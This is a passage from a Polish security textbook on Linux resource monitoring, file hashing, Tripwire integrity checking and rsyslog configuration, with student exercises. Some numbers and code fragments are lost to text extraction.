54 Bezpieczeństwo systemów i usług informatycznych 54 nice [-n niceval] [-niceval][polecenie [argumenty]] niceval polecenie Modyfikacja priorytetu z zakresu od -20 do 20. (-20 najwyższy, 20 najniższy). Tylko użytkownik root może ustawiać wartości ujemne. Polecenie które ma być wykonane na tym priorytecie Przykład: nice n 10 tar cvf kopia.tar /home Gdy proces już się wykonuje jego priorytet można zmienić za pomocą polecenia renice. Ustawienie priorytetu polecenie renice: renice niceval [[-p] pid...] [[-g] pgrp...] [[-u] user...] 6.3 Monitorowanie zajętości pamięci Linux implementuje mechanizm pamięci wirtualnej. Pamięć podzielona jest na strony które mogą być umieszczone w pamięci operacyjnej lub dyskowej. Zarządza tym jednostka MMU (ang. Memory Management Unit). Gdy uruchamiany jest proces nie przydziela mu się od razu całej pamięci. Uruchamianie nowego procesu odbywa się według schematu: 1. Jądro ładuje początek segmentu kodu procesu. 2. Przydziela pewną liczbę stron pamięci roboczej 3. Gdy następuje odwołanie do instrukcji lub danych której nie ma w pamięci, MMU generuje błąd strony. Kontrolę przejmuje jądro i sprowadza stronę do pamięci operacyjnej. 4. Gdy w systemie brakuje pamięci, nieużywane przez proces strony są zwalniane. Gdy w systemie brakuje pamięci może dojść do jego spowolnienia lub nawet blokady. Stąd ważne jest monitorowanie zajętości pamięci. Bilans pamięci można sprawdzić za pomocą polecenia free $free -m total used free shared buffers cached Mem: /+ buffers/cache: Swap: Przykład 6-15 Działanie polecenia free Opcje: -m wyświetl dane w MB Dane na temat zajętości pamięci można uzyskać także z pliku /proc/meminfo cat /proc/meminfo less MemTotal: kb MemFree: kb Buffers: kb Cached: kb... SwapTotal: kb SwapFree: kb Shmem: kb... Przykład 6-16 Wyświetlanie danych o pamięci z pliku /proc/meminfo Innym narzędziem przydatnym do analizy działania systemu jest polecenie vmstat. Uruchamia się je jak poniżej $vmstat interwal Gdy podamy parametr interwal program będzie działał w sposób ciągły i aktualizował wyniki z danym interwałem. Informacje na temat polecenia znaleźć można w manualu: $man vmstat

55 Bezpieczeństwo systemów i usług informatycznych 55 procs memory swap io---- -system cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st Przykład 6-17 Monitorowanie pamięci za pomocą polecenia vmstat r b swpd free buff cache si so bi bo in cs us sy id wa st Liczba procesów w stanie runnable (wykonywanych lub gotowych) Liczba procesów w stanie uninterruptible sleep Rozmiar użytej pamięci wirtualnej Rozmiar nieużywanej pamięci Rozmiar pamięci użytej na bufory dyskowe Rozmiar pamięci użytej jako schowek Rozmiar pamięci wirtualnej odczytanej z dysku Rozmiar pamięci wirtualnej zapisanej na dysku Liczba bloków odczytanych z dysku Liczba bloków zapisanych na dysk Liczba przerwań na sekundę Liczba przełączeń kontekstu na sekundę Czas spędzony w trybie (ang. user) Czas spędzony w trybie (ang.system) Czas bezczynności (ang. idle) Czas spędzony w oczekiwaniu na weście/wyjście Czas ukradziony (ang. Stolen) przez maszynę wirtualną Tab. 6-5 Znaczenie wyników polecenia vmstat Wielkości ostrzegawcze: RAM zajętość 90% SWAP - zajetość 80% Gdy progi ostrzegawcze są przekroczone należy: Zmniejszyć liczbę procesów uruchamianych automatycznie Zwiększyć obszar swap Zainstalować dodatkowe moduły pamięci RAM 6.4 Monitorowanie działanie urządzeń wejścia wyjścia Monitorowanie systemy wejścia/wyjścia może być wykonane za pomocą narzędzi iostat i iotop Polecenie iostat Narzędzie iostat pokazuje bieżącą aktywność wejścia/wyjścia komputera, przesyłanie danych na poszczególne urządzenia. Może być wykorzystane do polepszenia wydajności komputera. $sudo iostat Linux generic (Ubol) _x86_64_ (4 CPU) avg-cpu: %user %nice %system %iowait %steal %idle 1,71 1,12 0,39 0,90 0,00 95,88 Device: tps kb_read/s kb_wrtn/s kb_read kb_wrtn sda 3,79 78,50 35, sdb 0,01 0,06 0, Przykład 6-18 Działanie narzędzia iostat user nice system iowait Procent czasu procesora spędzony w trybie user Procent czasu procesora spędzony w trybie user z priorytetem nice Procent czasu procesora spędzony w trybie system Procent czasu procesora spędzony w oczekiwaniu na zakończenie operacji we/wy

56 Bezpieczeństwo systemów i usług informatycznych 56 steal Procent ukradziony (ang. Stolen) przez maszynę wirtualną idle Procent czasu procesora spędzony na bezczynności Tps Liczba transferów na sekundę dla danego urządzenia kb_read/s Liczba bloków na sekundę czytanych przez urządzenie kb_wrtn/s Liczba bloków na sekundę pisanych przez urządzenie kb_read Całkowita liczba bloków na odczytanych przez urządzenie kb_wrtn Całkowita liczba bloków na zapisanych przez urządzenie Tab. 6-6 Znaczenie wyników polecenia iostat Polecenie iostat podaje dane dotyczące operacji wejścia/wyjścia dla poszczególnych urządzeń lecz nie różnicuje wyników ze względu na procesy Polecenie iotop Polecenie iotop podaje dane dotyczące operacji wejścia/wyjścia dla poszczególnych procesów. Należy je uruchomić w trybie root: $sudo iotop Ekran 6-2 Wyniki działania narzędzia iotop TID PRIO USER DISK READ DISK WRITE SWAPIN IO COMMAND Identyfikator procesu Klasa/priorytet procesu dotyczący operacji wejścia wyjścia. Rozróżnia się klasy: be (ang. best efford) szeregowanie sprawiedliwe rt (ang real time) czasu rzeczywistego, jądro preferuje takie operacje idle (ang. bezczynność), operacja szeregowana gdy nie ma innych zadań Priorytet: im liczba mniejsza tym priorytet wyższy Użytkownik Strumień danych czytanych z dysku Strumień danych pisanych na dysk Procent czasu oczekiwania na przesłania z przestrzenią wymiany Procent czasu oczekiwania na przesłania w trakcie operacji we/wy Nazwa procesu Tab. 6-7 Znaczenie wyników polecenia iotop

57 Bezpieczeństwo systemów i usług informatycznych Monitorowanie dostępności wolnej przestrzeni w systemie plików W działającym systemie komputerowym wymagana jest zdolność zapisywania informacji na urządzeniach pamięciowych zorganizowanych jako system plików. Informację o tym można uzyskać za pomocą polecenia df (ang. disk free) #df Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda % / /dev/sr % /media/cdrom0 Przykład 6-19 Wyświetlanie zajętości woluminów dyskowych za pomocą narzędzia df Filesystem urządzenie pamięciowe 1K-blocks - całkowita pojemność woluminu w blokach 1024 bajtów Used - liczba zajętych bloków Available - liczba wolnych bloków Use% - Zajętość urządzenia w % Mounted on - punkt montowania 6.6 Monitorowanie zasobów z poziomu programu Zasoby używane przez proces mogą być również monitorowane z poziomu programu. Do tego celu służy funkcja rusage. #include <sys/time.h> #include <sys/resource.h> int getrusage(int who, struct rusage *usage); Gdzie: who RUSAGE_SELF informacja dotyczy tego procesu RUSAGE_CHILDREN - informacja dotyczy procesów potomnych RUSAGE_THREAD - informacja dotyczy tego wątku usage Struktura zawierająca informacje o zasobach struct rusage { struct timeval ru_utime; /* user CPU time used */ struct timeval ru_stime; /* system CPU time used */ long ru_maxrss; /* maximum resident set size */ long ru_ixrss; /* integral shared memory size */ long ru_idrss; /* integral unshared data size */ long ru_isrss; /* integral unshared stack size */ long ru_minflt; /* page reclaims (soft page faults) */ long ru_majflt; /* page faults (hard page faults) */ long ru_nswap; /* swaps */ long ru_inblock; /* block input operations */ long ru_oublock; /* block output operations */ long ru_msgsnd; /* IPC messages sent */ long ru_msgrcv; /* IPC messages received */ long ru_nsignals; /* signals received */ long ru_nvcsw; /* voluntary context switches */ long ru_nivcsw; /* involuntary context switches */ }; Przykład wykorzystania monitorowania zasobów z poziomu programu podano poniej. #include <stdio.h> #include <time.h> #include <stdint.h> #include <sys/time.h> #include <sys/resource.h> #include <unistd.h>

58 Bezpieczeństwo systemów i usług informatycznych 58 int main(int argc, char *argv[]) { struct rusage ru; struct timeval utime; struct timeval stime; int i,j; for(j=0;j<10;j++) { for (i = 0; i < ; i++) { int x; x += i; } sleep(1); getrusage(rusage_self, &ru); utime = ru.ru_utime; stime = ru.ru_stime; printf("ru_utime: %lld [sec]: %ld [usec], :ru_stime: %lld [sec]: %lld [usec]\n", (int64_t)utime.tv_sec, (int64_t)utime.tv_usec, (int64_t)stime.tv_sec, (int64_t)stime.tv_usec); } return 0; } Przykład 6-3 Monitorowanie czasu zużywanego przez proces 6.7 Zadania Obciążenie procesora Napisz program który obciąża wszystkie dostępne procesory. Parametr nice dla procesu potomnego ma być przekazany jako parametr. Przykładowo polecenie $./obciaz ma powodować uruchomienie czterech procesów potomnych i przekazać im parametr nice kolejno 2,3,6,8. Każdy program ma wykonywać obciążające procesor czynności i zwracać czas wykonania. Użyj funkcji int nice(int inc). Zaobserwuj obciążenie systemu przy pomocy narzędzi: monitor systemu, top, time, uptime, pidstat Operacje wejścia wyjścia Napisz program czytający dane z wybranego pliku i policz czytane bajty. Porównaj otrzymane wyniki z wynikami podanymi w plikach /proc/[pid]/io i /proc/[pid]/fdinfo Obciążenie pamięci operacyjnej Napisz program który obciąża pamięć operacyjną. Program ma pobierać kolejne obszary pamięci operacyjnej i wyświetlać te wielkości. Zaobserwuj działanie programu za pomocą narzędzi: vmstat, free, pidstat Obciążenie systemu wejścia / wyjścia Napisz program który obciąża system wejścia/wyjścia. Program ma współbieżnie czytać określony plik i kopiować dany plik do nowego pliku. Zaobserwuj działanie programu za pomocą narzędzi: iostat, iotop i pidstat Obciążenie procesora z monitorowaniem zasobów Zmodyfikuj program z punktu tak aby proces macierzysty monitorował zużycie czasu procesora dla procesów potomnych. Wykorzystaj funkcję getrusage(rusage_children,&ru).

59 Bezpieczeństwo systemów i usług informatycznych Zapewnianie integralności systemu System plików może być chroniony przed manipulacją poprzez zapewnienie, że określone pliki nie zostały przez osoby nieuprawnione zmienione. Procedura ta opisana została w [13]. Polega ona na zapisywaniu dla chronionych plików ich następujących informacji: permissions, inode number, user, group, file size, mtime and ctime, atime, growing size, number of links link name. Tworzony jest także skrót pliku(sygnatura) według różnych algorytmów lub ich kombinacji sha1, sha256, sha512, md5, rmd160, tiger. Atrybuty pliku i sygnatury zapisywane są w pliku kontrolnym. Sprawdzenie integralności polega na ponownym sprawdzeniu atrybutów i obliczeniu dla chronionych plików sygnatur i porównanie ich z zapamiętanymi w pliku kontrolnym. Gdy wykryjemy różnice, świadczy to o próbie manipulacji. 7.1 Funkcje skrótu Funkcja skrótu [16], nazywana też funkcją mieszającą lub haszującą. Funkcja skrótu h(m) odwzorowuje dane wejściowe m (ciąg bitów) o dowolnej długości w dane wyjściowe s (ciąg bitów) o stałej długości n. s = h(m) zmienna dlugość stala dlugość Jan Kowalski ggg AAA 5793 Pojezierze drawskie 6799 Nieznana funkcja skrótu komunikat Funkcja skrótu 2244 skrót Rys. 7-1 Koncepja funkcji skrótu Zadaniem funkcji skrótu jest ochrona integralności danych. Niewielka zmiana (nawet jednego bitu) w komunikacie wejściowym ma spowodować zmianę funkcji skrótu. W konsekwencji własność ta umożliwia stwierdzenie czy komunikat został w sposób przypadkowy lub celowy zmodyfikowany. Funkcjom skrótu stawia się nastepujące wymagania: Nieodwracalność - gdy znany jest skrót s = h(m) komunikatu m to znalezienie m na podstawie s jest trudne bądź niemożliwe. Słaba bezkolizyjność gdy znany jest komunikat m1 i jego skrót s1 to znalezienie komunikatu m2 takiego że h(m2) = h(m1) jest obliczeniowo trudne Silna bezkolizyjność - znalezienie dowolnej pary różnych komunikatów m i m, takich że h(m) = h(m ) jest obliczeniowo trudne Nie powinno być możliwości uzyskania żadnych użytecznych informacji na temat komunikatu, mając do dyspozycji tylko jego skrót. Z tego powodu, funkcje skrótu powinny zachowywać się jak funkcje losowe, będąc jednocześnie łatwymi do obliczenia funkcjami deterministycznymi.

60 Bezpieczeństwo systemów i usług informatycznych 60 unsigned long hash(unsigned char *str) { unsigned long hash = 5381; int c; } while (c = *str++) hash = ((hash << 5) + hash) + c; /* hash * 33 + c */ return hash; Przykład 7-1 Przykład funkcji skrótu 7.2 Programy wykrywające intruzów Istnieje wiele programów zapewniających integralność systemu. Wymienić tu można: AIDE, - Samhain, Tripwire 7.3 Pakiet tripwire Pakiet tripwire ( służy do zapewnienia integralności systemu i wykrywania jego niechcianych modyfikacji. Opisany jest między innymi w [25], [26] Instalacja: Instalacji pakietu dokonuje się jak poniżej: $sudo apt-get install tripwire Podczas instalacji program spyta o: tryb zawiadamiania em Przebiegi konfiguracji (na obydwa zapytania odpowiedzieć yes) Klucz miejsca (ang site key), używany do zabezpieczenia bazy danych Klucz lokalny (ang. local key), zabezpieczenie wykonywania programów binarnych Do you wish to create/use your site key passphrase during installation? - Yes Ok Do you wish to create/use your local key passphrase during installation? - Yes Rebuild Tripwire configuration file? - Yes Rebuild Tripwire policy file? - Yes Enter site-key passphrase - stud013 Repeat site-key passphrase - stud013 Enter local key passphrase - stud013 Repeat local key passphrase - stud013 Generating keys Triwire has been installed Binaries are located in /usr/sbin Database in /var/lib/tripwire See /usr/share/doc/tripwire/readme.debian for details Przykład 7-2 Instalacja pakietu tripwire

61 Bezpieczeństwo systemów i usług informatycznych 61 Przykład 7-3 Instalacja pakietu tripwire informacja końcowa Informacje o pakiecie można uzyskać poleceniem: $man tripwire Podręcznik podaje informacje na dodatkowe tematy: $man twfiles opis plików tworzonych przez tripwire $man twconfig opis plików konfiguracyjnych $man twpolicy opis polityki sprawdzania plików Konfiguracja Pliki i katalogi: Katalog: /usr/sbin/ tripwire program wykonujące podstawowe operacje jak utworzenie bazy danych i sprawdzenie integralności plików na podstawie bazy danych twadmin - program słuzący do tworzenia, kodowania i podpisywania pliku definiowania polityki sprawdzania integralności twprint - drukuje bazę danych i raporty Katalog: /etc/tripwire/ zawiera następujące pliki: twinstall.sh - skrypt instalacyjny twcfg.txt - przykładowy plik konfiguracyjny pakietu tw.cfg - podpisany plik konfiguracyjny tworzony przez skrypt twinstall.sh twpol.txt - przykładowy plik polityki ochrony tw.pol - podpisany plik polityki tworzony przez skrypt twinstall.sh Po wykonaniu instalacji raporty znajdują się katalogu /var/lib/tripwire/ Edycja reguł ochrony Plik konfiguracyjny /etc/tripwire/twpol.txt określa jakie pliki/katalogi mają podlegać ochronie i w jaki sposób. Opis parametrów pliku polityki można uzyskać poleceniem: $man twpolicy. Plik konfiguracyjny składa się z: komentarzy, reguł, dyrektyw, zmiennych. Reguły Reguły mają opisywać co ma być sprawdzane i w jakim zakresie. Są dwa rodzaje reguł: Zwykłe reguły opisujące jakie właściwości poszczególnych plików maja być sprawdzane i w jakim zakresie. Punkty stopu mówiące że pewne pliki lub katalogi nie mają być sprawdzane. Reguła ma postać:

62 Bezpieczeństwo systemów i usług informatycznych 62 nazwa_obiektu -> maska_własności Nazwa obiektu jest ścieżką do pliku lub katalogu. Przykład reguły: /etc/ -> +ugp Znacznik -> oddziela ścieżkę i maskę właściwości. Białe znaki musza oddzielać nazwę obiektu i znacznik a znak średnika musi kończyć regułę. Jeśli ścieżka wskazuje na katalog, to będzie sprawdzany ten katalog i wszystko co leży poniżej. Jeśli ścieżka wskazuje na pewien plik, to tylko ten plik będzie sprawdzany. Przykłady: # Przykład zawiera poprzedzone zakiem $ zmienne # Defines Tripwire behavior for entire /bin directory tree. /bin -> $(ReadOnly); # Defines Tripwire behavior for a single file. In this case, # Tripwire watches for all properties of hostname.hme0. /etc/hostname.hme0 -> $(IgnoreNone) -ar; # Scan the entire /etc directory tree using mask1, except the # file /etc/passwd, which should be scanned using mask2. /etc -> $(mask1); /etc/passwd -> $(mask2); Nazwy obiektów Nazwy obiektów mogą być bezwględnymi ścieżkami do plików lub katalogów Maska własności Maska własności określa jakie atrybuty dla obiektu mają być kontrolowane a także w jaki sposób. Maska własności składa się ze znaków (podano ważniejsze): a; # Access timestamp b; # Number of blocks c; # Inode timestamp (create/modify) d; # Inode storage disk device number g; # File owner's group ID i; # Inode number m; # Modification timestamp n; # inode reference count p; # Permissions and file mode bits r; # Device Number s; # File size t; # File Type u; # File owner's user ID l; # File is increasing in size C; # CRC-32 hash value M; # MD5 hash value S; # SHA hash value H; # Haval signature value Gdy litera własności poprzedzona jest znakiem + to własność ta jest sprawdzana, gdy znakiem to nie. Przykłady: # Examine permissions and link count. # All three of the following are equivalent. +p+n pn pn-g

63 Bezpieczeństwo systemów i usług informatycznych 63 Zmienne W pliku własności występują zmienne. Zmienne mogą być definiowane w pliku, istnieją też zmienne predefiniowane. Przykłady definiowania i użycia zmiennych. param1 = +SMCH; dir1 = /etc/inet; DIR1 = /etc/init.d; $(dir1) -> +tbamc; /etc/inet -> $(param1); Zmienne predefiniowane Wyjaśnienie znaczenia zmiennych predefiniowanych opisane jest w pliku: /usr/share/doc/tripwire/policyguide.txt Przykłady: # Definicja zmiennej param1. # Definicja zmiennej dir1 # Zmienne uwzględniają duże/małe litery # Reguła używająca zmiennej dir1 # Podstawienie z lewej strony # Reguła z maską parametrów # podstawienie z prawej strony $(IgnoreNone); # IgnoreNone są przeznaczone dla krytycznych plików takich jak #passwd atrybuty: +pinusgamctdbcmsh $(ReadOnly); # ReadOnly są przeznaczona dla plików które są tylko do odczytu # atrybuty: +pinugsmtdbcm $(Growing); # Growing są przeznaczona dla plików które mogą tylko # rosnać takich jak logi, atrybuty: +pinugtdl $(IgnoreAll); # Uzywana gdy ważna jest obecność/nieobecność pliku, # wszystkie atrybuty są ignorowane $(Dynamic); Punkty stopu # Przeznaczone dla monitorowania plików i katalogów użytkownika # które mogą się zmieniać atrybuty: +pinugtd Punkty stopu specyfikują które pliki lub katalogi nie mają być sprawdzane. Składnia jest nastepująca:! nazwa_obiektu ; Przykłady:!/etc/init.d; # The directory /etc/init.d will not be scanned. /etc -> $(ReadOnly);!/etc/rc.d;!/etc/mnttab; # Scan all of /etc, but do not scan two particular # files in the /etc hierarchy. Atrybuty reguł Atrybuty reguł modyfikują ich zachowanie dostarczając dodatkowych informacji. Do jednej reguły może być dodane kilka atrybutów. Atrybuty mogą być dodane do reguły w następujący sposób: nazwa_obiektu -> maska_atrybutów (atrybut = wartość); Przykład: /usr/lib -> $(ReadOnly) ( to = admin@foo.com, severity = 80); #This rule will notify the admin if any violations of the #rule occur and designate the severity as 80. Atrybuty reguł moga być także zastosowane do grupy reguł: (lista atrybutów) { lista reguł; }

64 Bezpieczeństwo systemów i usług informatycznych 64 to wysłanie maila do adresata ( to = admin@openna.com, rulename = "Shell Binaries") { /bin/bsh -> $(SEC_BIN); /bin/csh -> $(SEC_BIN); /bin/sh -> $(SEC_BIN); } severity nadanie stopnia wazności danej regule ( ) /etc -> +ug (severity=50); recurse - używany do określania czy ma być sprawdzana zawartość katalogów i do jakiej głębokości. Wartość: true, false lub liczba 1 do Gdy jest to liczba dodatnia, określa ona poziom zagłębienia w skanowaniu katalogów. Gdy false sprawdzany jest tylko i-wezeł bez zawartości. Gdy recurse=true (domyslnie), sprawdzana jest cała zawatrość poniżej punktu startu. /etc -> +ug (recurse=2); W plikach konfiguracyjnych występują także dyrektywy które umożliwiają warunkowe spawdzanie dream /bin -> Przykład pliku polityki twpol.txt podany został poniżej. SEC_CRIT = $(IgnoreNone)-SHa; # Critical files - we can't afford to miss any changes. SEC_SUID = $(IgnoreNone)-SHa; # Binaries with the SUID or SGID flags set. SEC_TCB = $(ReadOnly); # Members of the Trusted Computing Base. SEC_BIN = $(ReadOnly); # Binaries that shouldn't change SEC_CONFIG= $(Dynamic); # Config files that are changed infrequently but accessed often. SEC_LOG = $(Growing); # Files that grow, but that should never change ownership. SEC_INVARIANT = +pug; # Directories that should never change permission or ownership. SIG_LOW = 33; # Non-critical files that are of minimal security impact SIG_MED = 66; # Non-critical files that are of significant security impact SIG_HI = 100; # Critical files that are significant points of vulnerability # Commonly accessed directories that should remain static with regards to owner and group ( to = admin@openna.com, rulename = "Shell Binaries") { /bin/bsh -> $(SEC_BIN); /bin/csh -> $(SEC_BIN); /bin/sh -> $(SEC_BIN); } # Rest of critical system binaries ( to = admin@openna.com, rulename = "OS executables and libraries", severity = $(SIG_HI)) { /bin -> $(ReadOnly) ; /lib -> $(ReadOnly) ; } # Local files ( to = admin@openna.com, rulename = "User binaries", severity = $(SIG_MED)) { /sbin -> $(SEC_BIN) (recurse = 1); /usr/sbin -> $(SEC_BIN) (recurse = 1); /usr/bin -> $(SEC_BIN) (recurse = 1); } Przykład 7-4 Przykład pliku twpol.txt Należy dokonać edycji pliku twpol.txt przystosowując go do własnych potrzeb. Uwaga, należy uruchomić edytor tak by możliwa była edycja plików należących do roota. $sudo gedit & Następnie należy przebudować bazę danych /etc/tripwire/tw.pol przy pomocy polecenia twadmin. Po wprowadzeniu polecenia użytkownik zostanie spytany o hasło administratora i hasło miejsca jak poniżej.

65 Bezpieczeństwo systemów i usług informatycznych 65 $sudo twadmin -m P /etc/tripwire/twpol.txt [sudo] password for juka:****** Please enter your site passphrase:****** Wrote policy file: /etc/tripwire/tw.pol Generujemy nową bazę z sygnaturami i opisem parametrów plików: $sudo tripwire -m i Please enter your site passphrase:****** Generating the database... *** Processing Unix File System ***... Wrote database file: /var/lib/tripwire/xxx.twd The databse was sucessfuly generated. Sprawdzanie integralności systemu będzie wykonane po wprowadzeniu polecenia: $sudo tripwire -m c Parsing policy file file /etc/tripwire/tw.pol Performing integrity check... Tripwire(R) Integrity Check Report Report generated by: root Report created on: Fri Jan 12 04:04: Database last updated on: Tue Jan 9 16:19: ======================================================================= Report Summary: ======================================================================= Host name: some.host.com Host IP address: Host ID: None Policy file used: /etc/tripwire/tw.pol Configuration file used: /etc/tripwire/tw.cfg Database file used: /var/lib/tripwire/some.host.com.twd Command line used: /usr/sbin/tripwire --check ======================================================================= Rule Summary: ======================================================================= Section: Unix File System Rule Name Severity Level Added Removed Modified Invariant Directories Temporary directories * Tripwire Data Files Critical devices User binaries Tripwire Binaries Przykład 7-5 Przykład raportu tripwire 7.4 Zadania Obliczanie skrótu dla pliku Napisz program skrot.c który oblicza liczbe bajtów i skrót dla informacji zawartej w podanym jako argument pliku. Zmienić jeden bit w pliku i sprawdzić jak zmieniła się funkcja skrótu Sprawdzanie spójności plików z zadanego zbioru Napisz program spojnosc1 który sprawdza spojność plików zadanych w postaci pliku spis.txt. Plik spis.txt zawiera nazwy (ze ścieżkami) plików do sprawdzenia. Może to być plik spis.txt postaci: skrot skrot.c skrot-plik skrot-plik.c spis-plik.txt

66 Bezpieczeństwo systemów i usług informatycznych 66 spojnosc1 spojnosc1.c Przykład 7-6 Spis plików do sprawdzenia Program sprawdzający spójność uruchamiany ma być z dwoma opcjami tworzenie spisu tworz i sprawdzanie spójności sprawdz. Opcja tworz tworzy plik wynikowy z dołączonymi skrótami. Wywołanie programu ma postać: spojnosc1 tworz spis_plikow plik_wynikowy Parametr spis_plikow zawiera nazwy plikow do sprawdzenie a parametr plik_wynikowy zawiera nazwy plikow i ich skroty skrot skrot.c skrot-plik skrot-plik.c spis-plik.txt spojnosc1 spojnosc1.c spojnosc1.c b7fd5b48 8c26f878 8c26f878 a29b7bba 5afdcda9 d8c801ec c20d49a6 c20d49a6 Przykład 7-7 Plik wynikowy zawiera nazwy plików i ich skróty Program wywołany z opcją sprawdz ma sprawdzić spójność plików wymienionych w parametrze plik_wynikowy. spojnosc1 sprawdz plik_wynikowy Dla plików wymienionych w parametrze program ma odczytać nazwy plików, obliczyć ich skróty i porównać z zapisanymi wartościami Sprawdzanie spójności plików z zadanego zbioru, wersja z datami modyfikacji Uzupełnij poprzedni program o daty modyfikacji pliku. Datę modyfikacji pliku uzyskać można funkcją fstat. Przy tworzeniu spisu zapisz w pliku wynikowym dodatkowo datę modyfikacji i sprawdzaj ją podczas sprawdzania spójności pliku Sprawdzanie spójności plików dla zadanego katalogu Napisz program sprawdzania spójności plików dla określonego katalogu podanego jako parametr. Do przeglądania katalogów można użyć funkcji opendir i readdir Równoległe sprawdzanie spójności plików dla zadanego katalogu Napisz równoległą wersję program sprawdzania spójności plików dla określonego katalogu podanego jako parametr. Gdy przeglądany katalog zawiera podkatalog, uruchom dla niego oddzielny proces Wykorzystanie programu tripwire sprawdzania integralności systemu plików Wykorzystując maszynę wirtualną wypróbój program tripwire sprawdzania integralności systemu plików. 1. Zainstaluj program tripwire o ile nie jest zainstalowany 2. Utwórz kopię pliku /etc/tripwire/twpol.txt o nazwie /etc/tripwire/twpol.txt.bak 3. Utwórz plik /home/student/tripwite-test.txt i wpisz tam ustaloną zawartość 4. Aby skrócić czas działania programu, zakomentuj większość reguł w pliku /etc/tripwire/twpol.txt 5. Dopisz plik do pliku konfiguracyjnego /etc/tripwire/twpol.txt regułę sprawdzania pliku /home/student/tripwite-test.txt 6. Przebuduj plik konfiguracyjny: $sudo twadmin -m P /etc/tripwire/twpol.txt 7. Wygeneruj nową bazę z sygnaturami i opisem parametrów plików: $sudo tripwire -m i 8. Sprawdź integralność systemu: $sudo tripwire -m c 9. Zmień zawartość pliku tripwite-test.txt 10. Sprawdź ponownie integralność systemu. Zbuduj i przetestuj reguły: A. Dopisywania pliku do katalogu

67 Bezpieczeństwo systemów i usług informatycznych 67 B. Kasowania pliku z katalogu C. Zmiany zawartości jednego z plików w katalogu D. Odczytu pojedynczego pliku Odtwórz z kopii pierwotny plik twpol.txt

68 Bezpieczeństwo systemów i usług informatycznych 68 8.

69 Bezpieczeństwo systemów i usług informatycznych Rejestrator systemowy Rejestrator systemowy jest istotną częścią systemu komputerowego wpływającą na jego bezpieczeństwo. Jeżeli system zachowuje się niezgodnie z oczekiwaniami wtedy należy przeanalizować zapisy w plikach rejestrowych. Większość systemów rodziny Unixa do rejestracji zdarzeń używa usługi syslogd lub nowszej rsyslogd. aplikacja 1 syslog(...) aplikacja N syslog(...) komunikaty rejestrator systemowy syslogd rlogsysd UDP zdalny komputer jądro rejestrator zdarzeń jądra klogd plik konfiguracji /etc/rsyslog.conf komunikaty /var/log/auth.log /var/log/syslog /var/log/kern.log pliki rejestrowe 9.1 Demon rejestratora systemowego Demon rejestratora systemowego tworzy pliki dzienników w katalogu /var/log. #tail 20 syslog ==> syslog <== Nov 2 10:48:47 kali gnome-terminal-[1320]: GtkScrollbar 0x9b4c4d0 is drawn without a current allocation. This should not happen. Przykład 9-1 Przykładowy zapis w pliku /var/log/syslog Nie wszystkie pliki zawarte w katalogu /var/log są obsługiwane przez rejestrator systemowy. Aby się przekonać które, należy sprawdzić pliki konfiguracyjne. Podstawowy plik konfiguracyjny rejestratora systemowego to /etc/rsyslog.conf. Dodatkowe konfiguracje zawarte są w katalogach /etc/rsyslog.d. Konfiguracja składa się z reguł tradycyjnych i rozszerzeń (zaczynają się znaku $). Tradycyjna reguła składa się z selektora i akcji. Selektor określa typ komunikatu oraz priorytet komunikatu a akcja co należy zrobić gdy komunikat się pojawi. Zwykle jest to miejsce docelowe wysłania komunikatu. Selektor składa się z: Typu komunikatu (ang. facility) Priorytetu (ang. priority) Są one liczbami i są rozdzielone kropką. selektor typ komunikatu. priorytet akcja Dodatkowo w polu selektor można stosować następujące znaki: przecinek, - grupuje kilka typów komunikatów którym odpowiada takie samo działanie. średnik ; - grupuje kilka selektorów którym odpowiada takie samo działanie gwiazdka * - zastępuje pola typ komunikatu i priorytet dla wszystkich wartości tego pola Typy komunikatów podane zostały w Tabela 9-1 a priorytety w Tabela 9-2.

70 Bezpieczeństwo systemów i usług informatycznych 70 LOG_AUTH Bezpieczeństwo i autoryzacja LOG_AUTHPRIV Bezpieczeństwo i autoryzacja (prywatne) LOG_CRON Demon zegarowy (cron i at) LOG_DAEMON Demony systemowe LOG_FTP Demon FTP LOG_ KERN Komunikaty jądra LOG_LOCAL0 - LOG_LOCAL7 Komunikaty lokalne LOG_MAIL Podsystem pocztowy LOG_USER Komunikaty użytkownika Tabela 9-1 Opis typów komunikatów LOG_EMERG LOG_ALERT LOG_CRIT LOG_ERR LOG_WARNING LOG_NOTICE LOG_INFO LOG_DEBUG System jest niesprawny Akcja musi byc podjęta natychmiast Warunki krytyczne Błędy Ostrzeżenia Zdarzenie normalne ale ważne Komunikat informacyjny Komunikat uruchomieniowy Tabela 9-2 Opis priorytetów komunikatów. Priorytet LOG_EMERG jest najwyższy LOG_DEBUG najniższy Jeżeli w selektorze występuje dany priorytet to system wysyła komunikaty do wskazanego miejsca a także wszystkie komunikaty o wyższym priorytecie. Gdy nie chcemy aby komunikat był wysyłany, nadawany jest mu priorytet none. *.=info; mail,news.none /var/log/messages Wszystkie komunikaty z priorytetem info należy zapisywać w pliku /var/log/messages. Pominąć komunikaty typu mail i news. Pole akcja wskazuje co ma się dziać gdy pojawi się dany komunikat, można powiedzieć że wskazuje dokąd i jak komunikat ma być przekazany. Pole akcja może specyfikować: Nazwa pliku do którego komunikat ma być dopisany, np. /var/log/syslog. Gdy przed nazwą występuje znak minus, po zapisaniu ma być wywołana funkcja sync powodująca fizyczny zapis na dysku. Nazwa terminala na który ma być przekazany komunikat, np. /dev/console Nazwa kolejki FIFO (ang. named pipe) do której ma być przekazany komunikat (tworzona przez mkfifo). Nazwa użytkownika (o ile jest zalogowany), gwiazdka oznacza każdego użytkownika Zdalny komputer, nazwa zaczyna się Komunikat będzie przekazywany na port UDP 514. Dokumentacja typów zdarzeń i priorytetów zawarta jest w dokumentacji: man 5 rsyslog.conf. auth,authpriv.* /var/log/auth.log *.*;auth,authpriv.none -/var/log/syslog daemon.* -/var/log/daemon.log kern.* -/var/log/kern.log lpr.* -/var/log/lpr.log mail.* -/var/log/mail.log user.* -/var/log/user.log mail.info -/var/log/mail.info mail.warn -/var/log/mail.warn mail.err /var/log/mail.err kern.crit /dev/console Przykład 9-2 Fragment pliku konfiguracyjnego /etc/rsyslog.conf Mając na względzie bezpieczeństwo, warto przechowywać komunikaty poza dyskiem maszyny na której pracuje rejestrator, aby nie mogły być zniszczone lub zmanipulowane na skutek awarii lub włamania do

